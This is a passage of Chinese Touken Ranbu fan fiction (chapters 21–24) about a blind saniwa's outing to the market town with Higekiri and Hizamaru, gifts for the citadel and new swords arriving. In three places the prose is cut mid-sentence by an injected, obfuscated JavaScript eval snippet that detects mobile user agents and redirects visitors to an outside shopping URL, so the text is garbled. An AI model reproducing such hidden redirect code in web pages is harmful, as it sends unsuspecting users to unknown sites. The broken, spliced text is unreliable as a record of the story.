“没什么,不过这样也挺好的吧。”自己在说些什么呀……烛台切光忠都忍不住吐槽。 刚好两人已经走到天守阁,他赶紧顺势向鸢尾道别,“不晚了,我也该回去了。做个好梦,主人。” “嗯,也谢谢你送我了。”所幸鸢尾没有继续深究,虽然奇怪为什么他们今天晚上话都说在嘴里,但还是选择尊重并理解,“你也好梦,晚安。” “……嗯。” 好梦吗?可能要睡不着了吧。 21.爆米花与没带钱 秋日的早晨总是带着舒爽的凉意。天刚蒙蒙亮的时候是最好看的,天边的朝阳只透过云层一点点,在地上洒下斑驳的金粉;细长的草叶轻轻弯腰,积累了一夜的露珠就从上面无声无息地滑落。一切都是清爽的,连身在其中的人也带着格外轻盈的意味。 “但这也不是你不好好休息的借口。”站在本丸门口,即将出发修行的不动行光察觉到身后熟悉的气息,无奈地叹了口气,转身快步上前,灵活地帮突然出现的鸢尾把外套的扣子扣好。 “因为想到这么久都要看不到不动、也听不到不动的声音了,所以还是想要来送一下嘛。”鸢尾摸到了不动行光的行囊,细细地摸索着检查里面的每一样东西,“应该都带上了吧?还有纸笔……要记得写信给我们哦?” “知道啦——”不动行光散漫地应着,看到她这么担心,心理积淀的紧张仿佛也消弭在她的气息中。然后他就被抱住了,包裹在她温暖的体温中。 “好好享受旅途吧,不动。”她在他的额头落下怜惜的一吻,留下一点微不可察的湿意,“在你想回家的时候,本丸的门也会随时开着的。一路平安。” 不动行光呼吸一窒。尽管知道她看不见,但还是下意识地垂眸,掩住自己眼里的神色。 “……我知道,我会的。”他轻轻地回抱,紫发与黑发交织一瞬,然后又很快分开。“我走了,你快点回去多穿件衣服。” 怕自己再不走就舍不得走了,他留下这句话就赶紧转身,大步向前走去。 身后的鸢尾察觉他的气息慢慢消失,默默叹了口气,拢紧身上的衣服慢步回去。 —— “嗯嗯~主公看起来真的很担心那个……嗯,是谁呢?总之就是那个去修行的人呢。”今日的近侍髭切坐在鸢尾旁边,心安理得地享用着烛台切光忠特意为她准备的茶点。看到鸢尾在处理文件时又不自觉开始发呆,突然冒出了这么一句。 “是啊……毕竟是本丸第一个出去修行的。在会发生什么都不知道的情况下,尽管清楚不动已经成长了,还是会忍不住担忧……”知道自己不在状态,鸢尾索性放下笔,撑着头对髭切回应道。 “那要怎么办呢?”髭切反问她。 鸢尾拉开桌子抽屉,拿出里面的手帕,拉过他的手帮他把指尖沾到的糯米粉擦干净,顺口应道,“是啊,要怎么办呢?” 髭切把手放松,难得乖巧的任她摆弄。鸢尾的动作让他想起她还在昏迷的时候,他好像也做过类似的动作?哈哈,记不太清了呢…… 手上的糯米粉被尽数沾到手帕上,髭切反手抽走手帕,拉过她的手,“那就出去走走吧,见识一些新的东西,说不定就能把他忘了。”说着就要拉她起身出去。 “等等,”鸢尾使劲把他拉住,“就算要出去,也得先等我把这堆文件处理完吧?” “哈哈,忘了忘了。年纪大了就是记性不好呢……”髭切软绵绵地辩解。他往鸢尾旁边一靠,拿起最上方的那张纸,“要念这个吗?‘尊敬的鸢尾大人,您好。对于您的身体状况……’” “那个刚刚就念过了,是下面那张,应该轮到远征情况表了。”鸢尾忍不住提醒道。髭切柔软的头发擦过她的脸,她伸手撩了一下,嗯,手感不错。 “哦哦,是这个啊。”髭切恍然大悟,拿起下面一份。 好吧,终于明白为什么清光和国广他们在知道今天是髭切当近侍时,犹犹豫豫地向她自荐想要再当一天了……不过,还是很可爱嘛。听着髭切又甜又软的声音,鸢尾如是想到。 —— “兄、兄长,我们和主公就这样出来,真的没事吗?”从传送阵踏出来,进入人声鼎沸的街道,膝丸凑近自己的兄长小声问道。 “嗯嗯,放心吧紧张丸,有主公在就没事的。”周围的人很多,髭切向鸢尾靠近一步,拉住她的手,随口对一旁被他拉来当苦力的弟弟应道。 “兄长,我是膝丸啊……”这么一打岔就完全忘了自己要说什么,膝丸只想让兄长记住自己的名字。 鸢尾听着周围的聊天声、叫卖声,因为人太多了,甚至都要离的很近才能听得清彼此的声音,新奇地感慨,“原来这里就是万屋啊……” “主公之前没有来过这里吗?”膝丸听到她的感慨,有点奇怪地问。 虽然他和兄长在本丸显形不久,但通过出阵和远征也获得了不少小判。本丸的其他人在闲暇时偶尔也会来万屋逛逛,用自己的小判买点需要或是感兴趣的东西,他和兄长也不例外。不过……听主公的话,好像从来都没有来过这里? “平时吃住都在本丸,感觉都没什么需要的呢……虽然之前也有被本丸的大家邀请一起出来逛逛,不过因为公务太忙所以就一直拖着了。”鸢尾回想道。 “哦,那这次就是主公第一次来万屋了。”髭切突然拉住她的手往一个方向走去,“既然如此,就带你感受一些新奇的东西吧。” “兄长,等等我啊!”被人群冲散的膝丸在后面大喊。周围别的审神者循着声音看去,就看到一个绿色头发的身影急急忙忙向金色头发的身影赶去,顿时露出了了然的目光——今天也在逗自己的弟弟呢,阿尼甲。 髭切轻车熟路地拉着鸢尾绕过一段复杂的小路。鸢尾感受着周围声音的变化,喧闹的人声离得越来越远,他们应该在往一处偏僻的地方走去。 难为他还能记得这段路……被带着绕来绕去,鸢尾如是想到。 “因为上次好像就迷路了,最后还是弟弟丸找了很久才找到我的呢。”似乎看出了鸢尾的疑惑,髭切开口解释。 “这样啊,”鸢尾理解地点头,“你们兄弟感情真好呢。” “是啊,我和弟弟丸最早都归源满仲所有,虽然后来分开了,但我们的感情还是一直很好呢。”这里的人没有前面那么多,髭切不再走在鸢尾前面,而是转为与她并肩而行,不过手还是没松开,“不过有时候记不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733491|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚他的名字,他也会很着急呢……不过名字应该也没有那么重要吧?” 经过半天的相处,已经大致了解了他是什么性格的鸢尾选择笑而不答。 然后他们就沉默下来。不过这样的安静并不是尴尬,而是带着一种自由散漫的心照不宣,只有彼此静谧的呼吸以及袖角轻轻摩擦过的声音。 就这样安静地走了一段路,髭切突然开口,“快到了。” 鸢尾也开始期待起来。走过漫长蜿蜒的路,终点会是什么样的惊喜呢? 她感受到了。一阵香甜的气息,轻飘飘地把步入其中的人包裹起来。耳朵突然被手捂住,下一秒还是能依稀听见“碰”的一声,刚刚闻到的气息就愈发浓烈,好像连空气都变成了糖做的云。 “是什么呢?”甜味好像天生就能给人带来幸福,置于这样甜美的环境中,沉重的心也能轻盈起来。 “好像是叫‘爆米花’?把玉米粒扔进去就变成了金灿灿的球,看起来很神奇,吃起来也不错呢。” 这是怎么变的呢?鸢尾没有见过,也想象不到。 “下一次再带你来看不就好了?现在先尝尝味道吧。”髭切向老板要了一份爆米花,接过盒子,拿了一粒塞进鸢尾的嘴里。 “唔……”外面有层甜甜的脆壳,与里面玉米的香味融合在一起,形成一种奇特的口感。 “怎么样,是不是还不错?”髭切自己也拿了一个丢进嘴里,虎牙轻轻一抵,爆米花就发出“咔嚓”的轻响。 鸢尾默默点头,并且自己伸手,准备再拿一个。但髭切把手一抬躲过了她,“还是我拿给主公吃吧,来,啊——”说着,又塞了一个给她。 “兄、兄长?!”膝丸赶过来的时候正好看见髭切的手指抵在鸢尾的嘴唇上,他不敢置信地睁大眼睛。 这是什么意思?兄长和主公……不,不对,他提醒自己,肯定是因为主公现在视力受损行动不便所以兄长才会为了帮助主公做出这样的动作兄长和主公一定有他们的考量和分寸所以没什么好惊讶的我要保持淡定不能丢了源氏的脸…… “呀,你终于来了。”髭切发现了一旁脑子正在高速运转的膝丸,放下手自然地说道,“我忘记带钱了,付钱就交给你了,有钱丸。” 而膝丸此刻正精神恍惚,没有注意到髭切对他的称呼,“哦……哦,好的兄长。” 髭切含笑的猫瞳瞥了他一眼,又继续把目光放回鸢尾身上。 “膝丸要试试看吗?”总觉得自己在欺负小孩子,鸢尾在膝丸付完钱之后还是于心不忍地问了一句。 “不用了,我之前已经有试过了,您和兄长吃就好了!”膝丸回过神来听见鸢尾的声音,立刻端正地应答。 “噗”,髭切忍不住露出了一声笑,鸢尾也无奈地笑着叹了口气。 连笑都这么默契,该不会……究竟是什么时候……?已经被带偏的膝丸看看兄长,又看看主公,紧张地咽了咽喉咙。 22.独处与代价 解决完一桶爆米花,三人又踏入热闹的集市。 “主公有什么想买的吗?” 不知道为什么,今天万屋的人仿佛格外的多,好像所有的审神者和付丧神都在今天出动了。一小段路逛下来,膝丸已经数不清自己的脚被踩了多少下了。他和髭切分别站在鸢尾两边防止她被撞到,但尽管如此,还是不免挤到她。 三人就像夹心饼干一样在街上移动着。因为人流过于密集,空气也变得闷热污浊起来,看着鸢尾没什么血色的嘴唇,担心她会不舒服,膝丸体贴地问道。 “嗯……那就先去买点毛线?”鸢尾想了想,拍板决定,“就去买这个吧,你们知道在哪里吗?” “毛线的话可能纺织品店会有吧?”膝丸不太确定,他平时很少去纺织品店,最多也只是去买买针线,没有注意到里面是否有毛线。 鸢尾:“没关系,我们先去看看吧。” “是,主公、兄长,请往这边走。”怕鸢尾被挤散,膝丸下意识地想拉着她的手带路,但脑海里又突然闪过刚刚的那一幕,顿时手足无措起来。他小心地看了一眼自家的兄长,得到一个带着笑意的无辜回望。 看着周围的人越来越多,膝丸低声对鸢尾说,“冒犯了,主公。”然后便隔着袖子拉住她清瘦的手腕。好细啊,平时主公是不是吃的有点太少了?上次在宴会也……他的思绪不禁有些发散。 “发呆丸在想些什么呢?”髭切的问话让他突然惊醒。 “啊!没事,我、我在想路要怎么走。” 不知道为什么,膝丸找借口掩盖了自己的想法。不过刚说完他就后悔了——好像也没什么不能说的?自己只是觉得主公有点瘦而已……想不明白自己为什么要这么做,他懊恼地皱了皱眉。但看到鸢尾和髭切都在等着自己,他也就没继续深想,把这件事暂置脑后,先给他们带路。 就这样,三人人挤人地到了万屋最大的一家纺织品店。说来也奇怪,明明外面热闹至极,可是这家店里的人却没有想象中的多。 “您好,请问需要什么呢?”正在摸鱼的店主看到有人进来,立刻殷勤地上前问道。 鸢尾说明了自己需要的材料并询问这里是否有售卖,店主笑着回答,“当然有了,而且我们这里的毛线品种一定是万屋里最齐全的!来,我带您去看看。” 她注意到鸢尾眼睛上蒙着遮光的白绫,而且白绫垂下来的尾端还用暗线绣着她家的图标,便知道这条白绫是前不久一位不动行光来她这里买的。当时他在这里挑了许久才买下这条最贵也是最好的材质,原来就是买给这位审神者的呀…… 嘿嘿,美人就是美人,蒙上她家这条白绫就好像隔雾看花,更有一种朦胧脆弱的美感了,衬得这白绫也格外飘逸。不过,也希望这条白绫早点派不上用场吧……店主这样在心里想着,怕鸢尾行动不便,就伸出手想要牵着她过去。 但是她被一双带着黑色手套的手拦住了。 “我带着主公去就好了。”髭切对她露出一个温和的笑。 店主看了言笑晏晏的髭切一眼,又看了一旁无知无觉的审神者和好像知道了些什么、眼神闪烁的膝丸,恍然大悟。 “好的,那请跟我到这边来!”不知道为什么,鸢尾总觉得店主的声音里多了些活力? 但是这并没有影响到店主的专业性。温暖的羊毛线,蓬松的马海毛,软糯的棉花糖线……不同材质的毛线在鸢尾手上划过,留下顺滑又温暖的触感。 因为不同种毛线各有利弊,适合做不同的东西,鸢尾最后买下了好几种不同材质和颜色的,以便后面取用。 一下子卖出这么多,店主也很开心,在打包的时候拉着鸢尾多聊了几句。 “今天外面的人好像很多呢。” “是啊,今天是周末嘛,而且万屋这里最大的商场还举办了酬宾活动,再过一会儿会有花车游行,到时候还会随机发放与政府联名的刀剑男士公仔,可能大部分审神者都是为此而来的吧。”店主麻利地打包,“好了,您是想要现在带走还是我之后给您送到本丸呢?” 因为现在还不急用,而且买的稍微有点多,鸢尾就留下了地址,选择让店家寄送。 “你们对待会的游行感兴趣吗?”鸢尾问两兄弟,“如果感兴趣的话,我们也可以看一会再回去。” “你们要看的话我有个好位置!”看到他们眼里的兴趣和犹豫,店主知道他们是担心鸢尾挤在人群里会不舒服,就向他们推荐了自家的二楼,“二楼比较高,捞到公仔的可能性小。不过如果你们只是想看花车还是完全能满足的!” 不仅仅是因为刚刚赚了个大单,能和鸢尾这样的美人贴贴店主也是很乐意的! 感谢了店主的好意,三人一起向二楼走去。虽然平时看起来很不靠谱,但其实格外细心的髭切走在前面,扶着鸢尾的手,提醒她什么时候抬脚、落脚。膝丸贴在后面,手虚扶着她的腰,还轻轻提着她的裙角。 我、我好像不应该在这里?店主脚步迟疑地跟在最后面。但她最后还是跟上去了,并在为他们打开窗户、祝他们在这里能好好欣赏之后离开了这个气氛奇怪的地方。 各种意义上的很强呢,这位审神者。看着云淡风轻的鸢尾,店主默默地想。 “怎么了吗?”注意到自己的弟弟望着店主离开的方向不知道在想着什么,髭切问道。 “总感觉这个店主的眼神有点奇怪……”好像在看什么了不得的东西?可是他们也没做什么吧。 说实话,本丸里的大家只会比他们更细致入微。自从鸢尾醒来,大家甚至恨不得吃饭都用喂的;她要是咳嗽一声,大家都是一副时间溯行军要打进来的紧张样子;甚至长谷部和巴形怕她摔倒,还提出过要抱着她走(虽然最后被婉拒了)…… 本丸由不同的刀发起,已经在暗地里组织了很多次培训会,务必要求在衣食住行上都给予鸢尾最为充分的照料,而且由于开会的时间地点非常隐蔽,鸢尾到现在还没发现。 而自己和兄长因为来得比较晚,已经作为“重点对象”被培训好几遍了,可以说刚刚的动作完全是下意识的…… “来了。”鸢尾听见热闹的音乐声。髭切和膝丸也朝街道入口望去。 即便已经入秋,花车上也依然点缀着各式用灵力催化的繁花,几只长相颜色略有不同的狐之助站在车头车位,正朝着围观的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738036|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家热情招手。还有围着花车一圈的工作人员,手上抱着一堆玩偶往外面扔,应该就是刚刚店主说的付丧神形象的公仔,不时还能听到下面接到公仔的审神者和付丧神的欢呼。 “真的很热闹啊……”虽然看不见,但鸢尾还是趴在窗沿上向下面望去。热烈的氛围总是格外能感染人,她把手垂出窗外,想要抓住一抹欢快的气息。 “唔。”一个软绵绵的东西向她伸出窗外的手砸过来,被她顺势抓住。她捞到面前轻轻捏了捏,顺着摸了一圈,感觉形状就像是…… “呀,怎么是长谷部君呢?”髭切半真半假地抱怨,“今天可是我带主公出来玩的,要捞的话也应该是我吧……” “嗯?你也想要吗?不然这个送给你……”鸢尾故意曲解他的话,捏着玩偶软乎乎的小手在他面前抖呀抖地逗他。 “真狡猾呢,主公……”明明知道自己不是这个意思。 他瞥了一眼鸢尾手上的压切长谷部公仔。嗯,傻乎乎的,脸颊上还带着两团红晕。偷偷伸出手掐了一把公仔软软的棉花脸,髭切故作嫌弃,“长得好傻呀,主公还是留给长谷部君吧,和他挺配的呢。” “真的吗?”鸢尾半信半疑地在公仔上摸索着,她只能感受到玩偶的柔软和针脚的细密,感觉应该是有用心制作的,不过看不见倒确实很麻烦,长得不好看的话她就准备自己收藏起来了。鸢尾转身问一直默默待在旁边的膝丸,“膝丸觉得怎么样呢?” 突然被点名,膝丸欲言又止。还没等他想好平衡好主公的期待和兄长的玩笑,鸢尾就已经从他的沉默里知道了答案。 嗯,看来还是膝丸好懂。鸢尾一手抱着长谷部公仔,一手给膝丸顺了顺毛。膝丸的发质和髭切不太一样,前者比后者更硬一些,也更扎实一些,少了点轻飘飘的感觉,不过手感也是一样的好。 几天下来几乎把本丸里每个人的头都摸了个遍,鸢尾觉得自己都要摸头上瘾了。 而被摸头的人则憋得耳垂通红,想让主公不要像对待小孩子一样对待自己,又可耻地发现自己其实并不排斥来自她的温暖。 都把心思写在脸上了呢……可惜主公看不到。髭切倚在窗边,像狮子一样的眼睛里划过一丝不明的神色。 …… 欣赏完花车,趁着人流慢慢减少,三人又到街上逛了一会儿,买了些新奇的小东西,也为本丸的大家带了礼物。 刚到本丸,踏出传送装置,髭切和膝丸就被一群人虎视眈眈地盯着。 清光和安定率先上前用各种话题先把鸢尾带走,留下兄弟两人接受本丸其他人的怒火。 “你们两个家伙,真是太乱来了!”长谷部气势汹汹,“居然一声不吭就把主人带出去了?你们两人到底有没有在好好照顾她?尤其是你,髭切,你是今天的近侍吧?之前培训的时候是怎么讲的……” 眼看唯一的帮手被带走了,两人也只能默默承担。听到长谷部说着自家兄长,膝丸刚想开口解释,嘴一张话还没说出口,长谷部的怒火就被转移到了他身上,“差点把你忘了,膝丸!就算是……” 看着同伴们不善的眼神,髭切叹了口气。这就是与主公独处一天的代价吗? 23.不安与安抚 “长谷部”身后传来鸢尾的声音,还有清光和安定无奈的叹气声。 “是,主人,您有什么吩咐吗?是不是身体不舒服?都怪我没有及时发现……” 听着长谷部又要开始自我检讨,鸢尾掏出藏在衣服里的长谷部公仔。 “这是今天花车游行的时候收到的。明明在不可能拿到的位置,它却自己跳到了我的手上,是不是说明我们之间特别有缘分呢?” 鸢尾握住长谷部的手,把公仔放在他的手心,“送给你。” 柔软的公仔轻飘飘地落在长谷部带有茧子的手中。长谷部在鸢尾开口时就已经把其他的所有事都忘光了,他现在只记得眼前自己形象的公仔和鸢尾刚刚说的话。“特别有缘”、“送给你”……而且这个公仔还被主公特意珍藏、甚至还保留着她的体温…… 他顿时心也不气了,人也不骂了,即使天色已晚,世界也再度充满阳光,他压切长谷部能有获得它,是一个天大的荣幸!他晚上就要带着这个公仔一起睡……不,这样有可能会压坏它,作为如此特殊的纪念,他应该放在房间里最显眼的位置! 此时大家的目光也从髭切和膝丸身上转移到了这个小小的玩偶上。什么嘛,看着也一般般啊,居然幸运的被主人拿到了…… 看大家的目光几乎要把自己的公仔烧出个洞,长谷部连忙把它珍重地藏回自己的怀里。 “好羡慕长谷部啊……”坐在岩融肩头的今剑小声和他咬耳朵。他艳羡地看着染上公仔同款红晕的压切长谷部,不禁幻想如果是自己收到主公送的玩偶会怎么样。如果是自己的话……那自己今晚一定会开心得睡不着觉吧! 在鸢尾身后的清光和安定也对视一眼,从彼此的眼睛里看出相互嫌弃的眼神。 清光:都怪你,刚刚没有拦下主人。 安定:什么啊,明明是清光好奇主人和他们做了什么,擅自问出来才让主人想起他们还在后面没跟上的吧! 清光:我问的时候你也没拦着我呀?难道你不好奇? 安定:…… 双方冷哼一声,各自背过头看向相反的方向。 “因为没有能拿到其他人的公仔,所以我们也给大家带了其他礼物。”鸢尾向兄弟俩伸出手,示意他们把身上的购物袋递给她。这时候大家才注意到他们身上挂着大大小小的袋子。 也、也有自己的吗!刚刚还有点萎靡的大家又立即振奋起来,几个藏不住心思的小孩子们已经忍不住带着闪光的眼睛将鸢尾包围。 哇!乱小心翼翼地捧起一件华美的裙子——是他之前和主人提到过的款式!他用柔软的脸颊轻轻在衣服上蹭了蹭,心好像也被暖暖地包裹着。 侧眼看过去,大家也都在为自己收到的礼物感到惊讶。有些是很久之前曾经和鸢尾提过想买,但最后因为种种原因没有买的;有些只是自己的随口一说,明明自己都快不记得了,却被鸢尾默默记下的;有些是自己最近特别需要,打算找个时间就去买的…… 他们生活的点点滴滴,都被鸢尾默默记在心中。 “主公大人……”包丁开心地抓着一袋万屋新上市的糖果扑进鸢尾怀中。他像只小猫一样眯着眼幸福地在鸢尾怀里撒娇,又被鸢尾宠溺地摸摸头。 主公大人……果然就是人/妻吧!他突然兴奋地想到,会温柔地摸头,奖励他最爱吃的糖果,让他在怀里撒娇……而且主公大人上战场也很厉害!这就是人/妻——他找到最厉害的人/妻了! 但包丁明智地没有说出口。他曾经和兄弟们说过这个话题,可是大家都不相信他。哼,那他就不要和大家分享主公大人的爱了!他们最后才会知道错过了主公大人这么厉害的人/妻,就不会有更好的了! 可惜鸢尾没有读心术,也不知道包丁此时正在想些什么。如果知道,大概也只能哭笑不得地给他一个脑袋蹦吧。 小孩子的身体就像个小火炉,带着蓬勃的生命力贴上鸢尾,留下熨帖的暖意。 “因为有点心神不宁,所以才会想要出去逛一逛,让大家担心了……”鸢尾的手指轻穿过包丁蓬松的发丝,语气中带着让刃心疼的失落。 “不,请您务必不要这么想,这怎么会是主人的错!”压切长谷部第一个发声,“我们只是担心他们没有照顾好您,并不是不想让您出门的意思。” 确实如此。 在找遍了本丸都没有找到鸢尾的身影时,他们陷入了莫大的恐慌中。 其实只是上次鸢尾突然昏迷留给他们的后遗症。他们的主人,就像一阵薄雾,神秘的、轻盈的,不知不觉地融入他们的骨血中,明明看得见却让人不敢轻易伸手去触碰,害怕自己会在某个没注意到的瞬间就让这阵雾变得支离破碎。 这样是不对的。在某个时刻,他们注意到了自己不正常的不安全感,并试图控制住它。 要轻松。要自然。不要让这些莫名其妙的东西影响到主人。 就像保护一朵悬崖裂缝里顽强挣扎才能破土而出的花。 这些暗潮涌动,永远不会出现在她面前。 但今天的鸢尾用自己的行动给他们打了一剂强心剂。 请不要害怕,因为我会永远陪伴着你们,就像你们爱我一样地去爱你们。 无论我走出去多远,我永远会回到我唯一的归所,我唯一的家。 这是鸢尾想对他们说、却因为过于沉重而无法言说的话。因此,她选择把这些话藏在自己的行动里。 —— “鸢尾大人,咱可以进来吗?” 安抚好在这几天里格外焦虑的刀刀们,鸢尾就让大家各自回去休息了。 软磨硬泡想要和鸢尾一起睡的包丁被自家的兄弟无情拖走,以近侍身份为理由想要跟着她上天守阁的髭切也被大家联合起来无情制裁,听他们的话,好像最后还是被拉去手合了…… 鸢尾在心里沉默一秒,最后还是选择不去心疼他。明明已经没事了,还要和大家炫耀一下,引起众怒——鸢尾表示不能理解他的恶趣味。 在洗漱完准备入睡时,鸢尾注意到狐之助突然出现在障子门外。 “可以,进来吧狐之助。”鸢尾轻轻应答,顺手绑回白绫,用灵力点燃一簇灯芯。 昏暗的火光随拉开的障子门摇摆一瞬又恢复平静,将人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742166|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影静静映在屋内暖色的墙壁上。 “鸢尾大人……”狐之助轻车熟路地窝进鸢尾的怀里,伸了个懒腰,任由鸢尾梳理着它的毛发,“呜呜,开会好累,咱以后能不能不去开会……” 听着狐之助孩子气的话,鸢尾给它顺了顺毛,“辛苦啦,狐之助。明天再叫烛台切准备你最喜欢的油豆腐给你怎么样?” 狐之助所说的会议是上次本能寺的出阵总结会,因为出现了特殊的时间溯行军,所以需要当时在场的人去汇报。会议要持续几天,考虑到鸢尾身体不便,上面就让全程跟随的狐之助代替她参与了。 “唔,那咱要吃很多很多!”相处多日,已经对鸢尾的性格有着深刻了解的狐之助试图通过撒娇获得更多福利。它用头顶最软的毛蹭了蹭鸢尾手心,“好不好嘛……” 果不其然,鸢尾没思考多久就答应了。在鸢尾的本丸里,除了有着绝对话语权的她自己,接下来的食物链顶端就是小孩子体型的付丧神们和各种小动物了。对于他们的心愿,只要不涉及原则性问题,鸢尾一般都会慷慨地满足。 狐之助也经常利用自己的外貌优势,换来了许多光忠特制福利油豆腐。自己果然没看错,鸢尾大人是世界上最好的审神者大人! 不过它也还记得正事。在讨要完福利过后,狐之助忍痛从鸢尾温暖舒适的怀里跳出,从刚刚进来时被自己丢在地上的小背包中找出了鸢尾以前戴的那条项链。 它矫捷地几步跳回,控制住力度轻盈落在鸢尾怀里,把这条项链放在她手中。 “时之政府的工作人员重新评估了鸢尾大人的身体状况,现在大人可以把项链带回去继续抑制灵力了。而且,”狐之助降低音量,偷偷告诉鸢尾,“咱还听说时之政府正在研发一种新的工具,好像可以进一步帮大人储存灵力!” “但是对于大人什么时候能重新看见,他们好像也不怎么确定呢……”说到这里,狐之助又沮丧起来。都已经这么久了还没有解决鸢尾失明问题的办法,连它都有点着急了。 想到这里,狐之助又偷瞄了一眼淡然的鸢尾。 明明对鸢尾大人影响最大,可是她却看起来一点都不担心的样子。哎,总是这么不爱惜自己的身体,也难怪她的付丧神们想东想西,对她身体的一点风吹草动都十分敏感了……因为鸢尾很有可能觉得那都不是事,就直接忽略过去了。 可以说是完全进化成了主控的样子呢,狐之助默默吐槽。想到上次被团团围住的样子,它就忍不住打了个冷颤。 “怎么了?”正在给它梳毛的鸢尾奇怪地问。 “没、没事!就是觉得有点冷了……” 付丧神们绝对不想让鸢尾知道他们不那么阳光的一面,而狐之助也得尽量帮着瞒,至少不能主动去说——鸢尾自己发现倒还好,因为它也不觉得以付丧神和鸢尾的羁绊,他们会让这一面伤害到她。 但是!如果被他们知道他们的暴露是从自己这里透给鸢尾的,他们肯定会认为自己在挑拨他们和鸢尾的关系,那自己肯定就死定了!! 所以啊,还是顺其自然吧。狐之助被摸得眯瞪着眼,迷迷糊糊睡着了。 24.来信与通知 纯洁的白鸟在露珠还未弥散的清晨送回了远行之人的信。 鸢尾听见翅膀拍动的声音,循声来到窗边,鸽子轻巧地跳到她的手上。她另一只手解开绑在鸽子脚上的信纸,然后将卸重后的鸽子交给今日的近侍膝丸照料。 “麻烦你了,带它去喝点水吧。”收到了不动行光的信,她的心也踏实了很多。她小心地打开信纸,不自觉地勾起嘴角。 看着鸢尾比平时还要灿烂一些的笑容,膝丸也放心了点,按照鸢尾的嘱咐带着鸽子打算去后厨给它找点东西吃。 打开信纸,鸢尾摸到凹凸不平的痕迹。好像是考虑到鸢尾的眼睛可能还没恢复,不动行光把他所写的每个字都描出了刻痕,所以鸢尾仅靠自己也能阅读。 在屋内的一片静谧中“读完”不动行光难得表露心迹的信,鸢尾轻叹了口气,把它又仔细地叠起来,放在衣服贴近心口的口袋里。 从作为刀剑到拥有人形,像人一样地去感受、思考和改变……对于他们来说,到底是一件好事还是一件坏事呢?鸢尾也想不明白。她能做的,仅仅只是陪伴着他们,无论他们选择铭记过去还是走向未来。 —— 另一边,膝丸把吃饱喝足的白鸽放回鸽箱,顺路前往锻刀室察看有没有新人的出现。 其实作为鸢尾的近侍,并不需要做很多事情。因为鸢尾比较喜欢亲力亲为,所以除了跟随作战以及政府开会,剩下的时间里面文件什么的一般都是她自己在处理。再加上之前又把本丸的财政这一块交给了博多,所以近侍要做的就只剩下一些比较零碎的事情,比如安排好每天的内番和出阵远征的成员并向鸢尾请示,检查有没有人逃番,辅助鸢尾工作以及在生活上照顾好鸢尾。最后这一点在发给每个人的近侍手册上被长谷部重点标红。 想到近侍手册,膝丸就忍不住头痛。 近侍手册,是由本丸的加州清光、烛台切光忠这类较早来到本丸的老人以及巴形薙刀、压切长谷部等究极主控联合编写的,关于“如何运用好来之不易的近侍身份,为主人创造良好的生活、工作环境”(手册原话,众人猜测为长谷部语)的一本十分有重量的书。 这本手册涵盖了鸢尾的口味、喜好、作息时间、生活工作习惯、不同动作表情所代表的意味,以及担任近侍的付丧神在不同情况下的不同工作等等。 总之,膝丸觉得,这本书的“细致”是鸢尾自己看到了都要吓一跳的程度。说是“近侍手册”,其实也可以称为“鸢尾百科全书”,致力于让每一个新来的付丧神都能以最快的速度了解鸢尾,在第一次担任近侍时就能照顾好她,成为她优秀的帮手。 说实话,虽然知道本丸的大家都对鸢尾非常上心,可拿到那本小册子的时候,他第一次觉得自己还是看低了他们…… 边吐槽边比对着脑海中手册的内容,看看还今天的工作有没有什么遗漏的事情,膝丸就这样走到了锻刀室。 嗯?时间刚好到了。膝丸看着两个锻刀炉里都变成“00:00”的时间,顺手拿起旁边附有审神者灵力的符咒贴暂且看不出是什么的刀在上面。 如果是已经显现过的刀,就不会对符咒上的灵力产生反应;如果是新锻出的刀,就会有付丧神显现,自己也能直接带到主公哪里,不用辛苦她再下来一遍。 金光闪过,两个陌生的身影从刀中显现。 “天下五剑之一,大典太光世。” “呼呼呼呼,我是千子村正……” 看到两道截然不同、但又都带着让人会微妙担心的气质的身影,膝丸不禁开始未雨绸缪,接下来的本丸不会又要热闹起来了……吧? ……不,不能以貌取人。膝丸告诫自己。 就像第一眼看到鸢尾,以为她只是个手无缚鸡之力的病弱女子。但在这几天的深入了解之后,膝丸已经明白为什么她会在自己的付丧神心中留下那么浓烈的印象,也看到了她在战场上的英姿。说不定这两位也是内外反差很大的类型。 想到这里,膝丸轻咳一声,向他们介绍道,“我是今日的近侍,膝丸。” 大典太光世:“……” 千子村正:“呼呼呼,近侍啊……要一起脱吗?” 所以还是先把他们交给主公吧。膝丸果断决定。 …… “……就是这样,所以我就把他们一起带过来了,他们现在正在外面等候。”天守阁内,膝丸向鸢尾简单说明了一下刚刚的情况。 “嗯,辛苦你了。先让他们进来吧。”鸢尾停下手中的笔,把她给不动行光写的回信暂时先收起来。 